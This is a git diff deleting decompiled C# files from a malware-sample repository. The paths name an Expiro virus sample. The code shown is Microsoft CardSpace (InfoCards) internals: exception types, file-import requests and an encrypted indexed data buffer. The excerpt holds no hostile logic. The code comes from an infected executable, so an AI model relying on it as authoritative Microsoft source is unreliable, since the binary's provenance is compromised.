a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IAccessibilityHelper.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IAccessibilityHelper.cs deleted file mode 100644 index a3ad3638..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IAccessibilityHelper.cs +++ /dev/null @@ -1,29 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IAccessibilityHelper -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal interface IAccessibilityHelper - { - void Stop(); - - void RestartOnInfoCardDesktop( - uint userATApplicationFlags, - SafeNativeHandle hTrustedUserToken, - ref string trustedUserSid, - string infocardDesktop, - int userSessionId, - uint userProcessId, - WindowsIdentity userIdentity); - - bool RestartOnUsersDesktop( - uint userProcessId, - string userDesktop, - WindowsIdentity userIdentity); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ICanonicalizer.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ICanonicalizer.cs deleted file mode 100644 index c9644574..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ICanonicalizer.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ICanonicalizer -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal interface ICanonicalizer - { - bool CanCanonicalize(object obj); - - byte[] Canonicalize(object obj); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ITokenFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ITokenFactory.cs deleted file mode 100644 index 141b639a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ITokenFactory.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ITokenFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal interface ITokenFactory - { - void Abort(); - - TokenDescriptor CreateToken( - InfoCard card, - TokenFactoryCredential credential, - InfoCardPolicy policy, - bool discloseOptional); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IdentityValidationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IdentityValidationException.cs deleted file mode 100644 index c5a46279..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IdentityValidationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IdentityValidationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class IdentityValidationException : InfoCardBaseException - { - private const int HRESULT = -1073413885; - - public IdentityValidationException() - : base(-1073413885) - { - } - - public IdentityValidationException(string message) - : base(-1073413885, message) - { - } - - public IdentityValidationException(string message, Exception inner) - : base(-1073413885, message, inner) - { - } - - protected IdentityValidationException(SerializationInfo si, StreamingContext sc) - : base(-1073413885, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ImportException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ImportException.cs deleted file mode 100644 index c72d1443..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ImportException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ImportException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class ImportException : InfoCardBaseException - { - private const int HRESULT = -1073413884; - - public ImportException() - : base(-1073413884) - { - } - - public ImportException(string message) - : base(-1073413884, message) - { - } - - public ImportException(string message, Exception inner) - : base(-1073413884, message, inner) - { - } - - protected ImportException(SerializationInfo si, StreamingContext sc) - : base(-1073413884, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ImportFileRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ImportFileRequest.cs deleted file mode 100644 index ce96f675..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ImportFileRequest.cs +++ /dev/null @@ -1,102 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ImportFileRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class ImportFileRequest : UIAgentRequest - { - public ImportFileRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - RoamingStoreFile context = this.ParentRequest.GetContext(); - if (context == null) - return; - if (context.Cards == null) - return; - try - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - foreach (InfoCard card in (IEnumerable) context.Cards) - { - DataRow singleRow = connection.GetSingleRow(QueryDetails.FullRow, new List() - { - new QueryParameter("ix_objecttype", new object[1] - { - (object) 1 - }), - new QueryParameter("ix_globalid", new object[1] - { - (object) GlobalId.DeriveFrom(card.Id.ToString()) - }) - }.ToArray()); - if (singleRow != null) - { - using (MemoryStream memoryStream = new MemoryStream(singleRow.GetDataField())) - { - if (new InfoCard((Stream) memoryStream).LastUpdate < card.LastUpdate) - { - card.IsImported = true; - card.InstalledOn = DateTime.Now; - card.Save(connection); - } - } - } - else - { - card.IsImported = true; - card.InstalledOn = DateTime.Now; - card.Save(connection); - } - } - connection.CommitTransaction(); - AuditLog.AuditStoreImport(); - } - catch (Exception ex) - { - connection.RollbackTransaction(); - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportStoreException(SR.GetString("InvalidImportFile"), ex)); - throw; - } - } - finally - { - connection.Close(); - } - } - finally - { - context.Clear(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ImportRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ImportRequest.cs deleted file mode 100644 index 876b29df..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ImportRequest.cs +++ /dev/null @@ -1,91 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ImportRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class ImportRequest : ClientUIRequest - { - private FileStream m_importFile; - private string m_filename; - - public ImportRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - InfoCardUIAgent uiAgent, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, uiAgent, rpcHandle, inArgs, outArgs, InfoCardUIAgent.CallMode.Import, ExceptionList.AllNonFatal) - { - } - - public string ImportedFile => this.m_filename; - - protected override void OnMarshalInArgs() - { - string path = Utility.DeserializeString((BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode)); - if (string.IsNullOrEmpty(path) || path.Length > 259) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFileName"))); - if (!Path.IsPathRooted(path)) - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("InvalidImportFileName"))); - try - { - this.m_filename = path; - this.m_importFile = new FileStream(this.m_filename, FileMode.Open, FileAccess.Read, FileShare.Read); - } - catch (ArgumentException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("CannotOpenImportFile"), (Exception) ex)); - } - catch (IOException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("CannotOpenImportFile"), (Exception) ex)); - } - catch (NotSupportedException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("CannotOpenImportFile"), (Exception) ex)); - } - catch (UnauthorizedAccessException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ImportException(SR.GetString("CannotOpenImportFile"), (Exception) ex)); - } - } - - protected override void OnProcess() => this.StartAndWaitForUIAgent(); - - protected override void OnMarshalOutArgs() - { - } - - protected override void OnDisposeAsUser() - { - base.OnDisposeAsUser(); - if (this.m_importFile == null) - return; - this.m_importFile.Dispose(); - this.m_importFile = (FileStream) null; - } - - protected override bool OnHandleException(Exception e, out int errorCode) - { - errorCode = 0; - bool flag = false; - if (e is UserCancelledException) - { - errorCode = (e as UserCancelledException).NativeHResult; - flag = true; - } - return flag; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ImportStoreException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ImportStoreException.cs deleted file mode 100644 index 01ba31e8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/ImportStoreException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ImportStoreException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class ImportStoreException : InfoCardBaseException - { - private const int HRESULT = -1073413868; - - public ImportStoreException() - : base(-1073413868) - { - } - - public ImportStoreException(string message) - : base(-1073413868, message) - { - } - - public ImportStoreException(string message, Exception inner) - : base(-1073413868, message, inner) - { - } - - protected ImportStoreException(SerializationInfo si, StreamingContext sc) - : base(-1073413868, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IndexObject.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IndexObject.cs deleted file mode 100644 index 43fa2eb8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IndexObject.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IndexObject -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; - -namespace Microsoft.InfoCards -{ - internal class IndexObject - { - private object[] m_objects; - private byte[] m_compiledForm; - - public IndexObject(object[] objects) => this.m_objects = objects; - - public IndexObject(byte[] compiledForm) => this.m_compiledForm = compiledForm; - - public bool IsCompiled => null != this.m_compiledForm; - - public bool CanCompile => null != this.m_objects; - - public byte[] CompiledForm => this.m_compiledForm; - - public object[] ObjectList => this.m_objects; - - internal void Compile(SecondaryIndexDefinition indexDef) - { - if (!this.CanCompile) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexObjectCanNotBeCompiled"))); - byte[] destinationArray = new byte[60]; - int destinationIndex = 0; - for (int index = 0; index < this.m_objects.Length; ++index) - { - if (!indexDef.Canonicalizer.CanCanonicalize(this.m_objects[index])) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexObjectCanNotBeCanonicalized", (object) this.m_objects[index].GetType()))); - byte[] sourceArray = indexDef.Canonicalizer.Canonicalize(this.m_objects[index]); - if (sourceArray.Length + destinationIndex > destinationArray.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreIndexObjectBufferOverflow", (object) indexDef.Name))); - Array.Copy((Array) sourceArray, 0, (Array) destinationArray, destinationIndex, sourceArray.Length); - destinationIndex += sourceArray.Length; - } - this.m_compiledForm = destinationArray; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IndexedDataBuffer.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IndexedDataBuffer.cs deleted file mode 100644 index ac8cec81..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/IndexedDataBuffer.cs +++ /dev/null @@ -1,336 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.IndexedDataBuffer -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal class IndexedDataBuffer - { - private byte[] m_buffer; - private byte[] m_masterIndex; - private FreeIndexList m_freeList; - private int m_dataLength; - private bool m_isOpen; - private DataSource m_owner; - - public unsafe IndexedDataBuffer( - byte[] masterIndex, - byte[] buffer, - int dataLength, - DataSource owner) - { - if (masterIndex == null || masterIndex.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (masterIndex), SR.GetString("StoreIndexedDataBufferNullOrEmptyMasterIndexBuffer")); - if (buffer == null || buffer.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (buffer), SR.GetString("StoreIndexedDataBufferNullOrEmptyDataIndexBuffer")); - if (dataLength < 0 || dataLength > buffer.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (dataLength), (object) dataLength, SR.GetString("StoreIndexDataBufferDataLengthOutOfRange"))); - this.m_owner = owner; - this.m_masterIndex = masterIndex; - this.m_buffer = buffer; - this.m_dataLength = dataLength; - this.m_freeList = new FreeIndexList(20); - fixed (byte* numPtr = &this.m_masterIndex[0]) - { - for (int index = 1; index < this.m_masterIndex.Length / 4; ++index) - { - if (((int*) numPtr)[index] <= 0) - this.m_freeList.Put(index); - } - } - this.m_isOpen = true; - } - - public byte[] Index - { - get - { - this.ThrowIfNotOpen(); - return this.m_masterIndex; - } - } - - public byte[] Data - { - get - { - this.ThrowIfNotOpen(); - return this.m_buffer; - } - } - - public int DataLength - { - get - { - this.ThrowIfNotOpen(); - return this.m_dataLength; - } - } - - public void Close() - { - this.ThrowIfNotOpen(); - this.Clear(); - this.m_buffer = (byte[]) null; - this.m_masterIndex = (byte[]) null; - this.m_isOpen = false; - } - - public unsafe DataRow CreateDataRow(int id) - { - this.ThrowIfNotOpen(); - if (id > this.m_masterIndex.Length / 4 || this.m_freeList.Contains(id)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - fixed (byte* pHeader = &this.m_buffer[this.GetOffset(ref id)]) - return DataRow.Create((EncryptedObjectHeader*) pHeader, this.m_owner); - } - - public unsafe void CopyIVFromObject(int id, byte[] iv, int index) - { - this.ThrowIfNotOpen(); - if (iv == null || iv.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (iv)); - if (index < 0 || index > this.DataLength - iv.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (index), (object) index, SR.GetString("StoreIndexDataBufferIndexOutOfRange"))); - if (id > this.m_masterIndex.Length / 4 || this.m_freeList.Contains(id)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - int offset = this.GetOffset(ref id); - InfoCardTrace.Assert(id >= 0, "Invalid ID was returned by GetOffset."); - fixed (byte* numPtr = &this.m_buffer[offset]) - Marshal.Copy(new IntPtr((void*) &((EncryptedObjectHeader*) numPtr)->IV), iv, 0, iv.Length); - } - - public Stream GetStreamForObjectData(int id) - { - this.ThrowIfNotOpen(); - if (id > this.m_masterIndex.Length / 4 || this.m_freeList.Contains(id)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - int offset = this.GetOffset(ref id); - InfoCardTrace.Assert(id >= 0, "Invalid ID was returned by GetOffset."); - int objectDataSize = this.GetObjectDataSize(offset); - InfoCardTrace.Assert(objectDataSize <= this.m_buffer.Length - offset, "The length the stored object is invalid"); - return (Stream) new MemoryStream(this.m_buffer, offset + sizeof (EncryptedObjectHeader), objectDataSize, false, false); - } - - public void RemoveObject(int id) - { - this.ThrowIfNotOpen(); - if (id > this.m_masterIndex.Length / 4 || this.m_freeList.Contains(id)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - int offset = this.GetOffset(ref id); - InfoCardTrace.Assert(id >= 0, "Invalid ID was returned by GetOffset."); - this.RemoveFromMasterIndex(id); - this.EnsureSpaceForData(offset, 0); - } - - public unsafe int WriteObject( - int id, - byte[] iv, - byte[] data, - int objectType, - long lastChange, - GlobalId globalId) - { - this.ThrowIfNotOpen(); - if (iv == null || iv.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (iv)); - if (data == null || data.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (iv)); - if (id > this.m_masterIndex.Length / 4) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - int offset = id <= 0 || !this.m_freeList.Contains(id) ? this.GetOffset(ref id) : throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreLocalIdOutOfRange"))); - InfoCardTrace.Assert(id >= 0, "Invalid ID was returned by GetOffset."); - this.EnsureSpaceForData(offset, data.Length); - fixed (byte* numPtr1 = &this.m_buffer[offset]) - { - byte* numPtr2 = (byte*) ((EncryptedObjectHeader*) numPtr1 + 1); - ((EncryptedObjectHeader*) numPtr1)->LastChange = lastChange; - ((EncryptedObjectHeader*) numPtr1)->DataSize = data.Length; - ((EncryptedObjectHeader*) numPtr1)->ObjectType = objectType; - ((EncryptedObjectHeader*) numPtr1)->LocalId = id; - ((EncryptedObjectHeader*) numPtr1)->GlobalId = globalId; - InfoCardTrace.Assert(iv.Length <= 32, "IV Length is invalid"); - Marshal.Copy(iv, 0, new IntPtr((void*) &((EncryptedObjectHeader*) numPtr1)->IV), iv.Length); - Marshal.Copy(data, 0, new IntPtr((void*) numPtr2), data.Length); - } - return id; - } - - private unsafe int GetObjectDataSize(int offset) - { - fixed (byte* numPtr = &this.m_buffer[offset]) - return ((EncryptedObjectHeader*) numPtr)->DataSize; - } - - private void Clear() - { - Array.Clear((Array) this.m_buffer, 0, this.m_dataLength); - Array.Clear((Array) this.m_masterIndex, 0, this.m_masterIndex.Length); - this.m_dataLength = 0; - } - - private unsafe int EnsureSpaceForData(int offset, int dataSize) - { - InfoCardTrace.Assert((uint) offset <= (uint) this.m_dataLength, "offset specified is outside the range of the data buffer"); - InfoCardTrace.Assert(dataSize >= 0, "The requested data size must be greater than or equal to 0"); - int num1 = 0; - if (dataSize != 0) - num1 = dataSize + sizeof (EncryptedObjectHeader); - if (num1 % 8 != 0) - num1 += 8 - num1 % 8; - int num2; - if (offset == this.m_dataLength) - { - num2 = 0; - } - else - { - fixed (byte* numPtr = &this.m_buffer[offset]) - { - num2 = ((EncryptedObjectHeader*) numPtr)->DataSize + sizeof (EncryptedObjectHeader); - if (num2 % 8 != 0) - num2 += 8 - num2 % 8; - } - } - InfoCardTrace.Assert(num2 <= this.m_dataLength, "currentSize can not be more "); - if (num2 == num1) - return num1; - int num3 = offset + num2; - int diff = num1 - num2; - int num4 = num3 + diff; - if (diff > 0 && this.m_dataLength + diff >= this.m_buffer.Length) - this.GrowBuffer(this.m_dataLength + diff); - InfoCardTrace.Assert((uint) num3 <= (uint) this.m_buffer.Length && num3 >= offset, "NextIndex value is corrupt when attempting to ensure space for object"); - InfoCardTrace.Assert((uint) num4 <= (uint) this.m_buffer.Length, "NextNewIndex value is corrupt when attempting to ensure space for object"); - if (this.m_dataLength != num3) - { - InfoCardTrace.Assert(this.m_dataLength - num3 > 0, "NextIndex data is corrupt when attempting to ensure space for object in middle of content."); - Array.Copy((Array) this.m_buffer, num3, (Array) this.m_buffer, num4, this.m_dataLength - num3); - this.m_dataLength += diff; - InfoCardTrace.Assert(this.m_dataLength >= 0, "DataLength has been corrupted."); - if (diff < 0) - { - InfoCardTrace.Assert(this.m_dataLength <= this.m_buffer.Length, "DataLength is larger than allocated buffer."); - Array.Clear((Array) this.m_buffer, this.m_dataLength, Math.Abs(diff)); - } - this.UpdateMasterIndex(Math.Min(num3, num4), diff); - } - else - this.m_dataLength += diff; - InfoCardTrace.Assert(this.m_dataLength <= this.m_buffer.Length, "DataLength is larger than allocated buffer."); - return num1; - } - - private void GrowMasterIndex() - { - int num1 = this.m_masterIndex.Length / 4; - int increaseByPercent = Utility.CalculateIncreaseByPercent(this.m_masterIndex.Length, 4, 5); - InfoCardTrace.Assert(increaseByPercent > this.m_masterIndex.Length, "NewSize must be greater than old size to grow master index buffer"); - byte[] destinationArray = new byte[increaseByPercent]; - Array.Copy((Array) this.m_masterIndex, 0, (Array) destinationArray, 0, this.m_masterIndex.Length); - Array.Clear((Array) this.m_masterIndex, 0, this.m_masterIndex.Length); - this.m_masterIndex = destinationArray; - int num2 = this.m_masterIndex.Length / 4; - for (int index = num1 + 1; index < num2; ++index) - this.m_freeList.Put(index); - } - - private void GrowBuffer(int spaceRequired) - { - InfoCardTrace.Assert(spaceRequired >= this.m_buffer.Length, "RequireSpace must be greater than old size to grow data buffer"); - int num = spaceRequired; - int length = num + num / 20; - InfoCardTrace.Assert(length >= spaceRequired, "NewLength must be greater than required space to grow data buffer"); - byte[] destinationArray = new byte[length]; - Array.Copy((Array) this.m_buffer, 0, (Array) destinationArray, 0, this.m_buffer.Length); - Array.Clear((Array) this.m_buffer, 0, this.m_buffer.Length); - this.m_buffer = destinationArray; - InfoCardTrace.Assert(this.m_dataLength <= this.m_buffer.Length, "DataLength Corrupt or buffer growth failed."); - } - - private unsafe int GetOffset(ref int id) - { - if (id <= 0) - { - if (this.m_dataLength <= 0) - this.m_dataLength = 8; - int dataLength = this.m_dataLength; - id = this.GetNextLocalId(dataLength); - return dataLength; - } - fixed (byte* numPtr = &this.m_masterIndex[0]) - { - InfoCardTrace.Assert(((int*) numPtr)[id] >= 0, "Master Index offset value is invalid"); - return ((int*) numPtr)[id]; - } - } - - private unsafe void RemoveFromMasterIndex(int id) - { - InfoCardTrace.Assert(id > 0, "LocalId is invalid"); - fixed (byte* numPtr = &this.m_masterIndex[0]) - { - *(int*) (numPtr + ((IntPtr) id * 4).ToInt64()) = 0; - this.m_freeList.Put(id); - } - } - - private unsafe void UpdateMasterIndex(int offset, int diff) - { - InfoCardTrace.Assert(offset > 0, "Offset is invalid"); - InfoCardTrace.Assert(diff != 0, "Difference is invalid"); - int num = this.m_masterIndex.Length / 4; - fixed (byte* numPtr1 = &this.m_masterIndex[0]) - { - for (int index = 1; index < num; ++index) - { - InfoCardTrace.Assert((int*) numPtr1 + index - (int*) numPtr1 <= (long) this.m_masterIndex.Length, "Pointer has walked past the end of the allocated buffer."); - if (((int*) numPtr1)[index] > 0 && ((int*) numPtr1)[index] >= offset) - { - int* numPtr2 = (int*) numPtr1 + index; - *numPtr2 = *numPtr2 + diff; - } - } - } - } - - private unsafe int GetNextLocalId(int offset) - { - InfoCardTrace.Assert(offset >= 0, "The offset can not be 